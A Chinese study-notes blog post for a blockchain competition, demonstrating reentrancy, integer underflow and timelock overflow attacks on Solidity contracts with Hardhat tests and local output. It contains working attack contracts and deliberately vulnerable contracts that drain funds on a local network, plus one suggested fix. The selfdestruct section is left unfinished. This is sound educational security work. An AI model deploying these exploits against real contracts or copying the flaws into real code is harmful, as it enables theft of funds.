Allureluoli 二月FEBRUARY

区块链国赛笔记 19|合约安全实验:重入攻击与测试记录

模拟任务同时提到重入、溢出和自毁,这份文件主要围绕重入实验展开。溢出与自毁单独放在后续文章中。

本文由个人备赛旧笔记整理,整理日期为 2026-11-03。命令、输出和测试记录属于当时的实验环境;本文未重新搭建整套环境验证。

阅读前先确认

区分外部调用前后的余额更新顺序,测试应比较攻击前后余额与状态,而不只观察交易是否成功。文中代码是用于本地实验的片段。

第二部分 3题

第3题:按要求完成智能合约安全测试

【要求】 分析vulnerability.sol 合约代码,完成任务中指定的测试要求,并且将任务 中编写代码、运行截图、部署至区块链截图保存至指定位置。

【任务】

  1. 针对给定的vulnerability.sol
  2. 合约完成重入攻击测试
  3. 针对给定的vulnerability.sol 合约完成算术溢出和下溢测试
  4. 针对给定的vulnerability.sol合约完成自我毁灭测试

重入攻击复现

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;


contract Bank {
mapping (address => uint256) public balanceOf; // 余额mapping

// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}

// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
// 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}

// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "./Bank.sol";

contract Attack {
Bank public bank; // Bank合约地址

// 初始化Bank合约地址
constructor(Bank _bank) {
bank = _bank;
}

// 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
receive() external payable {
if (bank.getBalance() >= 1 ether) {
bank.withdraw();
}
}

// 攻击函数,调用时 msg.value 设为 1 ether
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
bank.deposit{value: 1 ether}();
bank.withdraw();
}

// 获取本合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

执行测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
const {
time,
loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs");
const { expect } = require("chai");

describe("重入攻击完整演示", function () {
// 定义测试夹具 - 复用合约部署和初始设置
async function deployContractsFixture() {
const [owner, attacker] = await ethers.getSigners();

console.log("👤 所有者地址:", owner.address);
console.log("👤 攻击者地址:", attacker.address);

// 部署Bank合约
console.log("\n📝 步骤1: 部署Bank合约");
const Bank = await ethers.getContractFactory("Bank");
const bank = await Bank.deploy();
await bank.waitForDeployment();
const bankAddress = await bank.getAddress();
console.log("✅ Bank合约地址:", bankAddress);

// 存入20 ETH
console.log("\n💰 步骤2: 调用deposit()函数,转入20 ETH");
const depositTx = await bank.deposit({ value: ethers.parseEther("20") });
await depositTx.wait();

const initialBankBalance = await bank.getBalance();
console.log("✅ 存款成功,Bank合约余额:", ethers.formatEther(initialBankBalance), "ETH");

return { bank, owner, attacker, initialBankBalance };
}

describe("完整重入攻击流程", function () {
it("应该成功执行重入攻击并盗取所有ETH", async function () {
const { bank, attacker } = await loadFixture(deployContractsFixture);

console.log("\n🔧 步骤3: 切换到攻击者钱包,部署Attack合约");
const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.connect(attacker).deploy(bank);
await attack.waitForDeployment();
const attackAddress = await attack.getAddress();
console.log("✅ Attack合约地址:", attackAddress);

// 攻击前状态检查
console.log("\n📊 攻击前状态检查:");
const bankBalanceBefore = await bank.getBalance();
const attackBalanceBefore = await attack.getBalance();
console.log(" Bank合约余额:", ethers.formatEther(bankBalanceBefore), "ETH");
console.log(" Attack合约余额:", ethers.formatEther(attackBalanceBefore), "ETH");

// 验证初始状态
expect(bankBalanceBefore).to.equal(ethers.parseEther("20"));
expect(attackBalanceBefore).to.equal(0n);

console.log("\n⚡ 步骤4: 调用Attack合约的attack()函数发动攻击,调用时需转账1 ETH");
const attackTx = await attack.connect(attacker).attack({
value: ethers.parseEther("1")
});
const receipt = await attackTx.wait();
console.log("✅ 攻击交易完成");
console.log(" 交易哈希:", receipt.hash);
console.log(" Gas消耗:", receipt.gasUsed.toString());

console.log("\n🔍 步骤5: 调用Bank合约的getBalance()函数,检查余额");
const bankBalanceAfter = await bank.getBalance();
console.log(" Bank合约余额:", ethers.formatEther(bankBalanceAfter), "ETH");

console.log("\n🔍 步骤6: 调用Attack合约的getBalance()函数,检查余额");
const attackBalanceAfter = await attack.getBalance();
console.log(" Attack合约余额:", ethers.formatEther(attackBalanceAfter), "ETH");

console.log("\n=== 攻击结果分析 ===");
console.log("攻击前Bank余额:", ethers.formatEther(bankBalanceBefore), "ETH");
console.log("攻击后Bank余额:", ethers.formatEther(bankBalanceAfter), "ETH");
console.log("攻击后Attack余额:", ethers.formatEther(attackBalanceAfter), "ETH");

// 验证攻击成功
expect(bankBalanceAfter).to.equal(0n);
expect(attackBalanceAfter).to.equal(ethers.parseEther("21"));

console.log("\n🎉 重入攻击成功!");
console.log(" - Bank合约余额已被提空");
console.log(" - Attack合约余额变为21 ETH");
console.log(" - 攻击者用1 ETH盗取了20 ETH");
});
});

describe("事件和交易分析", function () {
it("应该分析攻击交易详情", async function () {
const { bank, attacker } = await loadFixture(deployContractsFixture);

const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.connect(attacker).deploy(bank);
await attack.waitForDeployment();

console.log("\n=== 交易分析 ===");

// 执行攻击并获取详细交易信息
const attackTx = await attack.connect(attacker).attack({
value: ethers.parseEther("1")
});
const receipt = await attackTx.wait();

console.log("交易哈希:", receipt.hash);
console.log("区块号:", receipt.blockNumber);
console.log("Gas消耗:", receipt.gasUsed.toString());
console.log("交易状态:", receipt.status === 1 ? "成功" : "失败");

// 分析交易日志
if (receipt.logs && receipt.logs.length > 0) {
console.log("交易日志数量:", receipt.logs.length);
console.log("包含多个withdraw调用,表明重入攻击发生");
}

// 验证攻击结果
const finalBankBalance = await bank.getBalance();
const finalAttackBalance = await attack.getBalance();

expect(finalBankBalance).to.equal(0n);
expect(finalAttackBalance).to.equal(ethers.parseEther("21"));

console.log("\n✅ 攻击成功完成");
console.log(" 最终Bank余额:", ethers.formatEther(finalBankBalance), "ETH");
console.log(" 最终Attack余额:", ethers.formatEther(finalAttackBalance), "ETH");
});
});
});

// 独立的演示函数
async function runRemixDemo() {
console.log("🚀 Remix风格重入攻击演示\n");

const [owner, attacker] = await ethers.getSigners();

console.log("👤 所有者:", owner.address);
console.log("👤 攻击者:", attacker.address);

// 1. 部署Bank合约
console.log("\n📝 步骤1: 部署Bank合约");
const Bank = await ethers.getContractFactory("Bank");
const bank = await Bank.deploy();
await bank.waitForDeployment();
console.log("✅ Bank合约部署完成:", await bank.getAddress());

// 2. 存款20 ETH
console.log("\n💰 步骤2: 调用deposit()函数,转入20 ETH");
const depositTx = await bank.deposit({ value: ethers.parseEther("20") });
await depositTx.wait();
console.log("✅ 存款成功");
console.log(" Bank合约余额:", ethers.formatEther(await bank.getBalance()), "ETH");

// 3. 部署Attack合约
console.log("\n🔧 步骤3: 部署Attack合约(使用攻击者账户)");
const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.connect(attacker).deploy(bank);
await attack.waitForDeployment();
console.log("✅ Attack合约部署完成:", await attack.getAddress());

// 4. 攻击前状态
console.log("\n📊 攻击前状态:");
console.log(" Bank余额:", ethers.formatEther(await bank.getBalance()), "ETH");
console.log(" Attack余额:", ethers.formatEther(await attack.getBalance()), "ETH");

// 5. 执行攻击
console.log("\n⚡ 步骤4: 调用attack()函数(转账1 ETH)");
const attackTx = await attack.connect(attacker).attack({
value: ethers.parseEther("1")
});
const receipt = await attackTx.wait();
console.log("✅ 攻击执行完成");
console.log(" 交易哈希:", receipt.hash);

// 6. 验证结果
console.log("\n🔍 步骤5: 验证攻击结果");
const finalBankBalance = await bank.getBalance();
const finalAttackBalance = await attack.getBalance();

console.log(" 📉 Bank合约余额:", ethers.formatEther(finalBankBalance), "ETH");
console.log(" 📈 Attack合约余额:", ethers.formatEther(finalAttackBalance), "ETH");

if (finalBankBalance === 0n && finalAttackBalance === ethers.parseEther("21")) {
console.log("\n🎉 演示成功!重入攻击完成");
console.log(" • Bank合约余额已被提空");
console.log(" • Attack合约余额变为21 ETH");
console.log(" • 攻击者用1 ETH盗取了20 ETH");
} else {
console.log("\n❌ 演示失败");
}

console.log("\n🏁 演示结束");
}

// 导出函数供单独运行
module.exports = { runRemixDemo };

// 如果直接运行此文件
if (require.main === module) {
runRemixDemo()
.then(() => process.exit(0))
.catch((error) => {
console.error("演示失败:", error);
process.exit(1);
});
}

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
PS E:\code\solidity_project\vulnerability_test_2> pnpm hardhat test


重入攻击完整演示
完整重入攻击流程
👤 所有者地址: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
👤 攻击者地址: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8

📝 步骤1: 部署Bank合约
✅ Bank合约地址: 0x5FbDB2315678afecb367f032d93F642f64180aa3

💰 步骤2: 调用deposit()函数,转入20 ETH
✅ 存款成功,Bank合约余额: 20.0 ETH

🔧 步骤3: 切换到攻击者钱包,部署Attack合约
✅ Attack合约地址: 0x8464135c8F25Da09e49BC8782676a84730C318bC

📊 攻击前状态检查:
Bank合约余额: 20.0 ETH
Attack合约余额: 0.0 ETH

⚡ 步骤4: 调用Attack合约的attack()函数发动攻击,调用时需转账1 ETH
✅ 攻击交易完成
交易哈希: 0x610e18fc8c44628b7764b833d4e5e9f3b0225df0f38d2315561386f296eb7ab3
Gas消耗: 228286

🔍 步骤5: 调用Bank合约的getBalance()函数,检查余额
Bank合约余额: 0.0 ETH

🔍 步骤6: 调用Attack合约的getBalance()函数,检查余额
Attack合约余额: 21.0 ETH

=== 攻击结果分析 ===
攻击前Bank余额: 20.0 ETH
攻击后Bank余额: 0.0 ETH
攻击后Attack余额: 21.0 ETH

🎉 重入攻击成功!
- Bank合约余额已被提空
- Attack合约余额变为21 ETH
- 攻击者用1 ETH盗取了20 ETH
✔ 应该成功执行重入攻击并盗取所有ETH (546ms)
事件和交易分析

=== 交易分析 ===
交易哈希: 0x610e18fc8c44628b7764b833d4e5e9f3b0225df0f38d2315561386f296eb7ab3
区块号: 4
Gas消耗: 228286
交易状态: 成功

✅ 攻击成功完成
最终Bank余额: 0.0 ETH
最终Attack余额: 21.0 ETH
✔ 应该分析攻击交易详情


2 passing (564ms)

整形溢出复现(无符号整数下溢)

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

contract Token {
mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
unchecked{
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

测试攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
const {
time,
loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs");
const { expect } = require("chai");

describe("整数溢出攻击演示", function () {
// 定义测试夹具
async function deployTokenFixture() {
const [owner, attacker, otherAccount] = await ethers.getSigners();

console.log("👤 所有者地址:", owner.address);
console.log("👤 攻击者地址:", attacker.address);
console.log("👤 其他账户地址:", otherAccount.address);

// 部署Token合约,初始供给100
console.log("\n📝 步骤1: 部署Token合约,将总供给设为100");
const Token = await ethers.getContractFactory("Token");
const token = await Token.deploy(100);
await token.waitForDeployment();
const tokenAddress = await token.getAddress();
console.log("✅ Token合约地址:", tokenAddress);

// 验证初始状态
const initialTotalSupply = await token.totalSupply();
const ownerBalance = await token.balanceOf(owner.address);
console.log("✅ 初始总供给:", initialTotalSupply.toString());
console.log("✅ 所有者余额:", ownerBalance.toString());

return { token, owner, attacker, otherAccount, initialTotalSupply };
}

describe("整数下溢攻击流程", function () {
it("应该成功演示整数下溢攻击", async function () {
const { token, owner, attacker, otherAccount } = await loadFixture(deployTokenFixture);

console.log("\n📊 攻击前状态检查:");
const ownerBalanceBefore = await token.balanceOf(owner.address);
const attackerBalanceBefore = await token.balanceOf(attacker.address);
const otherBalanceBefore = await token.balanceOf(otherAccount.address);
const totalSupplyBefore = await token.totalSupply();

console.log(" 所有者余额:", ownerBalanceBefore.toString());
console.log(" 攻击者余额:", attackerBalanceBefore.toString());
console.log(" 其他账户余额:", otherBalanceBefore.toString());
console.log(" 总供给:", totalSupplyBefore.toString());

// 验证初始状态
expect(ownerBalanceBefore).to.equal(100n);
expect(attackerBalanceBefore).to.equal(0n);
expect(totalSupplyBefore).to.equal(100n);

console.log("\n💰 步骤2: 向攻击者账户转账10个代币(正常转账)");
const normalTransferTx = await token.connect(owner).transfer(attacker.address, 10);
await normalTransferTx.wait();

const ownerBalanceAfterNormal = await token.balanceOf(owner.address);
const attackerBalanceAfterNormal = await token.balanceOf(attacker.address);

console.log(" ✅ 正常转账成功");
console.log(" 所有者余额:", ownerBalanceAfterNormal.toString());
console.log(" 攻击者余额:", attackerBalanceAfterNormal.toString());

// 验证正常转账
expect(ownerBalanceAfterNormal).to.equal(90n);
expect(attackerBalanceAfterNormal).to.equal(10n);

console.log("\n💥 步骤3: 向另一个账户转账1000个代币(触发整数下溢)");
console.log(" 攻击者余额:", attackerBalanceAfterNormal.toString());
console.log(" 尝试转账:", "1000");
console.log(" 计算: 10 - 1000 = ? (无符号整数下溢)");

// 攻击者尝试转账1000个代币(超过其余额)
const overflowTransferTx = await token.connect(attacker).transfer(otherAccount.address, 1000);
await overflowTransferTx.wait();

console.log(" ✅ 转账交易成功(触发整数下溢)");

console.log("\n🔍 步骤4: 查询攻击者账户的余额");
const attackerBalanceAfterOverflow = await token.balanceOf(attacker.address);
const otherBalanceAfterOverflow = await token.balanceOf(otherAccount.address);
const totalSupplyAfterOverflow = await token.totalSupply();

console.log(" 📊 攻击后状态:");
console.log(" 攻击者余额:", attackerBalanceAfterOverflow.toString());
console.log(" 其他账户余额:", otherBalanceAfterOverflow.toString());
console.log(" 总供给:", totalSupplyAfterOverflow.toString());

// 计算预期的下溢值
const expectedOverflowValue = (2n ** 256n) - 990n; // 10 - 1000 = 2^256 - 990
console.log("\n🧮 下溢计算分析:");
console.log(" 攻击者原余额: 10");
console.log(" 转账金额: 1000");
console.log(" 计算过程: 10 - 1000 =", (10 - 1000).toString());
console.log(" 无符号整数下溢: 10 - 1000 =", expectedOverflowValue.toString());
console.log(" 十六进制:", "0x" + expectedOverflowValue.toString(16));

// 验证整数下溢攻击成功
expect(attackerBalanceAfterOverflow).to.equal(expectedOverflowValue);
expect(otherBalanceAfterOverflow).to.equal(1000n);

console.log("\n🎉 整数下溢攻击成功!");
console.log(" • 攻击者用10个代币成功转账1000个代币");
console.log(" • 攻击者余额变为一个非常大的数字 (~2^256)");
console.log(" • 合约状态被破坏");
});
});

describe("漏洞分析", function () {
it("应该分析漏洞的根本原因", async function () {
const { token, owner, attacker, otherAccount } = await loadFixture(deployTokenFixture);

console.log("\n=== 漏洞分析 ===");

console.log("\n🔍 漏洞代码位置:");
console.log(" function transfer(address _to, uint _value) public returns (bool) {");
console.log(" unchecked{"); // ❌ 危险:禁用安全检查
console.log(" require(balances[msg.sender] - _value >= 0);"); // ❌ 问题:无符号整数总是 >= 0
console.log(" balances[msg.sender] -= _value;"); // ❌ 问题:可能下溢
console.log(" balances[_to] += _value;");
console.log(" }");
console.log(" return true;");
console.log(" }");

console.log("\n❌ 漏洞原因:");
console.log(" 1. unchecked 块禁用了Solidity的算术溢出检查");
console.log(" 2. require(balances[msg.sender] - _value >= 0) 总是为真");
console.log(" - 无符号整数减法结果总是 >= 0(会发生下溢)");
console.log(" 3. balances[msg.sender] -= _value 可能产生下溢");

console.log("\n💡 修复方案:");
console.log(" function transfer(address _to, uint _value) public returns (bool) {");
console.log(" require(balances[msg.sender] >= _value, \"Insufficient balance\");"); // ✅ 正确检查
console.log(" balances[msg.sender] -= _value;");
console.log(" balances[_to] += _value;");
console.log(" return true;");
console.log(" }");

// 演示漏洞
console.log("\n🔬 漏洞演示:");
await token.connect(owner).transfer(attacker.address, 10);

const balanceBefore = await token.balanceOf(attacker.address);
console.log(" 攻击者初始余额:", balanceBefore.toString());

// 执行下溢攻击
await token.connect(attacker).transfer(otherAccount.address, 1000);

const balanceAfter = await token.balanceOf(attacker.address);
console.log(" 攻击者攻击后余额:", balanceAfter.toString());
console.log(" 余额变化:", (balanceAfter - balanceBefore).toString());

expect(balanceAfter).to.be.gt(2n ** 255n); // 验证余额变得非常大
});
});

describe("边界情况测试", function () {
it("应该测试各种边界情况", async function () {
const { token, owner, attacker } = await loadFixture(deployTokenFixture);

console.log("\n=== 边界情况测试 ===");

// 测试1: 正常转账
console.log("\n1. 正常转账测试");
await token.connect(owner).transfer(attacker.address, 50);
const normalBalance = await token.balanceOf(attacker.address);
console.log(" ✅ 正常转账后余额:", normalBalance.toString());
expect(normalBalance).to.equal(50n);

// 测试2: 转账余额为0
console.log("\n2. 转账0个代币");
await token.connect(attacker).transfer(owner.address, 0);
const zeroTransferBalance = await token.balanceOf(attacker.address);
console.log(" ✅ 转账0后余额:", zeroTransferBalance.toString());
expect(zeroTransferBalance).to.equal(50n);

// 测试3: 转账全部余额
console.log("\n3. 转账全部余额");
await token.connect(attacker).transfer(owner.address, 50);
const allBalance = await token.balanceOf(attacker.address);
console.log(" ✅ 转账全部余额后:", allBalance.toString());
expect(allBalance).to.equal(0n);

// 测试4: 下溢攻击
console.log("\n4. 下溢攻击测试");
await token.connect(owner).transfer(attacker.address, 1); // 给攻击者1个代币
await token.connect(attacker).transfer(owner.address, 1000); // 尝试转账1000个

const overflowBalance = await token.balanceOf(attacker.address);
console.log(" 💥 下溢攻击后余额:", overflowBalance.toString());
console.log(" 十六进制: 0x" + overflowBalance.toString(16));

// 验证下溢结果
const expected = (2n ** 256n) - 999n; // 1 - 1000 = 2^256 - 999
expect(overflowBalance).to.equal(expected);
});
});

});

测试结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
PS E:\code\solidity_project\vulnerability_test_3> pnpm hardhat test


整数溢出攻击演示
整数下溢攻击流程
👤 所有者地址: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
👤 攻击者地址: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
👤 其他账户地址: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC

📝 步骤1: 部署Token合约,将总供给设为100
✅ Token合约地址: 0x5FbDB2315678afecb367f032d93F642f64180aa3
✅ 初始总供给: 100
✅ 所有者余额: 100

📊 攻击前状态检查:
所有者余额: 100
攻击者余额: 0
其他账户余额: 0
总供给: 100

💰 步骤2: 向攻击者账户转账10个代币(正常转账)
✅ 正常转账成功
所有者余额: 90
攻击者余额: 10

💥 步骤3: 向另一个账户转账1000个代币(触发整数下溢)
攻击者余额: 10
尝试转账: 1000
计算: 10 - 1000 = ? (无符号整数下溢)
✅ 转账交易成功(触发整数下溢)

🔍 步骤4: 查询攻击者账户的余额
📊 攻击后状态:
攻击者余额: 115792089237316195423570985008687907853269984665640564039457584007913129638946
其他账户余额: 1000
总供给: 100

🧮 下溢计算分析:
攻击者原余额: 10
转账金额: 1000
计算过程: 10 - 1000 = -990
无符号整数下溢: 10 - 1000 = 115792089237316195423570985008687907853269984665640564039457584007913129638946
十六进制: 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc22

🎉 整数下溢攻击成功!
• 攻击者用10个代币成功转账1000个代币
• 攻击者余额变为一个非常大的数字 (~2^256)
• 合约状态被破坏
✔ 应该成功演示整数下溢攻击 (556ms)
漏洞分析

=== 漏洞分析 ===

🔍 漏洞代码位置:
function transfer(address _to, uint _value) public returns (bool) {
unchecked{
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
return true;
}

❌ 漏洞原因:
1. unchecked 块禁用了Solidity的算术溢出检查
2. require(balances[msg.sender] - _value >= 0) 总是为真
- 无符号整数减法结果总是 >= 0(会发生下溢)
3. balances[msg.sender] -= _value 可能产生下溢

💡 修复方案:
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] >= _value, "Insufficient balance");
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

🔬 漏洞演示:
攻击者初始余额: 10
攻击者攻击后余额: 115792089237316195423570985008687907853269984665640564039457584007913129638946
余额变化: 115792089237316195423570985008687907853269984665640564039457584007913129638936
✔ 应该分析漏洞的根本原因
边界情况测试

=== 边界情况测试 ===

1. 正常转账测试
✅ 正常转账后余额: 50

2. 转账0个代币
✅ 转账0后余额: 50

3. 转账全部余额
✅ 转账全部余额后: 0

4. 下溢攻击测试
💥 下溢攻击后余额: 115792089237316195423570985008687907853269984665640564039457584007913129638937
十六进制: 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc19
✔ 应该测试各种边界情况


3 passing (581ms)

算术溢出攻击复现

漏洞合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// 此合约设计用作时间保险库
// 用户可以存入但不能在至少一周内提取
// 用户也可以延长超过一周的等待时间

/*
攻击流程:
1. 部署 TimeLock
2. 部署使用 TimeLock 地址的 Attack 合约
3. 调用 Attack.attack 并发送 1 以太币,你将能够立即提取你的以太币

发生了什么?
Attack 导致 TimeLock.lockTime 溢出,从而能够在
一周等待期结束前提款。
*/

contract TimeLock {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;

function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}

function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}

function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;

(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./TimeLock.sol";

contract Attack {
TimeLock timeLock;

constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}

fallback() external payable {}

function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint256).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}

测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("算术溢出攻击", function () {
it("验证攻击", async function () {
const [owner, attacker] = await ethers.getSigners();

// 部署合约
const TimeLock = await ethers.getContractFactory("TimeLock");
const timeLock = await TimeLock.deploy();
const timeLockAddress = await timeLock.getAddress();

const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.connect(attacker).deploy(timeLockAddress);
const attackAddress = await attack.getAddress();

console.log("合约部署完成");
console.log("TimeLock:", timeLockAddress);
console.log("Attack:", attackAddress);

// 执行攻击
const attackAmount = ethers.parseEther("1.0");
await attack.connect(attacker).attack({ value: attackAmount });

// 验证结果
const finalLockTime = await timeLock.lockTime(attackAddress);
const finalBalance = await timeLock.balances(attackAddress);
const attackBalance = await ethers.provider.getBalance(attackAddress);

console.log("攻击结果:");
console.log("锁定时间:", finalLockTime.toString());
console.log("TimeLock余额:", ethers.formatEther(finalBalance));
console.log("Attack余额:", ethers.formatEther(attackBalance));

expect(finalLockTime).to.equal(0);
expect(finalBalance).to.equal(0);
expect(attackBalance).to.equal(attackAmount);

console.log("✅ 算术溢出攻击成功");
});
});

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS E:\code\solidity_project\vulnerability_test_4> pnpm hardhat test


算术溢出攻击
合约部署完成
TimeLock: 0x5FbDB2315678afecb367f032d93F642f64180aa3
Attack: 0x8464135c8F25Da09e49BC8782676a84730C318bC
攻击结果:
锁定时间: 0
TimeLock余额: 0.0
Attack余额: 1.0
✅ 算术溢出攻击成功
✔ 验证攻击 (524ms)


1 passing (526ms)

自我毁灭测试?

漏洞合约的自我毁灭测试?

selfdestruct…

可能是逻辑绕过攻击

复现时的自查

  • 记录自己实际使用的版本、配置和缺失依赖。
  • 对照本篇关键步骤,保存命令或调用结果,并解释结果代表什么。
  • 对失败或与原记录不一致的情况保留错误信息,不把历史输出当成自己的验证结果。

返回系列导读 · 上一篇 · 下一篇

评论COMMENTS